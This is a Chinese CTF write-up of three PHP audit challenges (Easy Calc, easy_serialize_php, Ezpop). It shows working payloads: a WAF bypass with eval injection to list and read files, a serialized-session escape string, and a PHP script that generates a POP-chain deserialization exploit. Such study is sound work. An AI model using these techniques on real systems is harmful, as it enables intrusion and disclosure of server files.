部分php程式碼審計習題(2)
[RoarCTF 2019]Easy Calc
網頁開啟之後就是一個非常普通的計算器(web應用),直接翻查原始碼,主要看js程式碼。
<!--I've set up WAF to ensure security.--> <script> $('#calc').submit(function(){ $.ajax({ url:"calc.php?num="+encodeURIComponent($("#content").val()), type:'GET', success:function(data){ $("#result").html(`<div class="alert alert-success"> <strong>答案:</strong>${data} </div>`); }, error:function(){ alert("這啥?算不來!"); } }) return false; }) </script>
encodeURIComponent() 字串作為 URI 元件進行編碼。
val() 方法返回或設定被選元素的值。
發現這麼一句註釋:<!--I've set up WAF to ensure security.-->
,哦,那先了解一下啥事WAF:
Web應用防護系統(也稱為:網站應用級入侵防禦系統。英文:Web Application Firewall,簡稱: WAF)。利用國際上公認的一種說法:Web應用防火牆是通過執行一系列針對HTTP/HTTPS的安全策略來專門為Web應用提供保護的一款產品。經過嘗試,這個似乎是攔截了字串輸入。
嗯,完全沒有思路呢,不過中間的url提到了clac.php,開啟看一看:
<?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
好,是正則表示式,不會,找文章去看。
“/”被過濾掉了,我們用chr(47)代替。chr()函式可以從指定的ASCII值返回字元。這樣我們傳入chr(47),得到的實際是“/”。
這裡牽扯到字串解析特性。PHP需要將所有引數轉換為有效的變數名,因此在解析查詢字串時,它會做兩件事:
1.刪除空白符
2.將某些字元轉換為下劃線(包括空格)【當waf不讓你過的時候,php卻可以讓你過】
對於waf來說,“num”和“ num”(後面這個有空格)是不同的兩個變數,所欲不會進行防護。後臺php解析的時候則會刪除空格字元從而執行php,實現waf的繞過。
這裡介紹一下scandir(),作為PHP5 Directory函式,它可以返回指定目錄中的檔案和目錄的陣列。我們可以直接通過這個函式讀取目錄。執行:
? num=1;var_dump(scandir(chr(47)))
讀出,陣列中出現[7]=>string(5)"f1agg"
,訪問它:
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
後面內容為“/f1agg”ascii編碼後,拿到flag。(查到檔案後1和l要區分清楚)
p.s.本題似乎有多種解法,感興趣可以看一看http走私解法。
[安洵杯 2019]easy_serialize_php
(反序列化中的物件逃逸)
開啟之後是超連結,跳轉至source_php。
<?php
$function = @$_GET['f'];
//大題解釋就是對傳入的引數進行了匹配過濾
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
//如果有session就銷燬
if($_SESSION){
unset($_SESSION);
}
//對session進行賦值
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
//變數覆蓋,$_session之前的賦值作廢
extract($_POST);
//確保函式存在
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
//傳入img_path會使得本身base64編碼後求sha1雜湊,加工後的session會使file_get_contents函式失效
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
//試圖引導我傳入phpinfo
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
(分析已寫入程式碼註釋)
給我一種程式碼不完整的感覺……不過確實是完整的扒下來了。
phpinfo() 輸出關於PHP的配置資訊
implode() 把陣列元素組合為字串;函式返回由陣列元素組合成的字串。
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) 搜尋 subject 中匹配 pattern 的部分, 以 replacement 進行替換。(涉及正則表示式部分)
unset() 銷燬指定變數
file_get_contents() 之前介紹過了,把檔案讀成一個字串
sha1() 計算並返回sha1傳入引數的雜湊值
先傳參令f=phpinfo,看看配置資訊。在core->auto_append_file欄發現野生php檔案:d0g3_f1ag.php,挺像flag的。
查了查wp歸來,這個地方似乎考察一個叫php反序列化字元逃逸的知識點。連結文章很詳細。所以這個地方我們可以在一個標準的序列化字串結尾,繼續新增一些算是序列化字串格式的字元。“}”後面我們新增的字元在反序列化的時候會被拋掉,。由此實現了字串逃逸。
payload:_SESSION[phpflag]=;s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
後面的字串就是d0g3_f1ag.php的base64加密。s:3:“img”;s:20:"ZDBnM19mMWFnLnBocA";}這個肯定就是我們預期的那段序列化字元.通過filter函式過濾掉php和flag之後,我們大概得到的是:
a:2:{s:7:"";s:54:";s:1:“1”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}";s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}
通過構造我們把img的原值成功拋棄,自主構造的值完美逃逸。但是使用後題目很噁心的給我們又擺了一道:
$flag = 'flag in /d0g3f111111ag';
梅開二度,payload:_SESSION[phpflag]=;s:14:"phpflagphpflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
總算拿到flag了……附一個用兩種方法的大佬的wp,實現鍵逃逸和值逃逸。
[MRCTF2020]Ezpop
原始碼:
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
//可利用的檔案包含
public function append($value){
include($value);
}
//嘗試呼叫物件觸發invoke魔術方法
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
//echo觸發toString(),看樣子是返回include()的內容
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
//物件被建立時呼叫
public function __construct(){
$this->p = array();
}
//訪問設定未定義或私密域時自動呼叫
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
(程式碼分析已寫入註釋)
總之它還很貼心的貼上了反序列化魔術方法的學習網址(雖然失效了),我們也應該很貼心的去百度一下到底自己不會的這些魔術方法是啥。
__construct 當一個物件建立時被呼叫,
__toString 當一個物件被當作一個字串被呼叫。
__wakeup() 使用unserialize時觸發
__get() 用於從不可訪問(私有屬性,未初始化屬性)的屬性讀取資料
__invoke() 當指令碼嘗試將物件呼叫為函式時觸發
pop鏈據說正向理思路,反向推解法。首先我們讓Test類的成員域p等於Modifier類,觸發__get()
魔術方法。這樣Modifier類會變成函式,從而使得__invoke()
方法被呼叫,調用出我們需要的include()函式;之後由於__toString()
方法可以輸出內容,前提是source為物件。那麼我們令source為物件,調出內容。
<?php
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier;
}
}
$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>
這個地方有一個filter協議相關的知識點,需要過濾封裝程式碼。拿到這個PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezcxMjNjNGRhLTg3MjQtNDJjYy04M2I1LWYyZDVkNjkxY2Y3NX0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
,base64解碼發現是php程式碼,其中輸出了flag。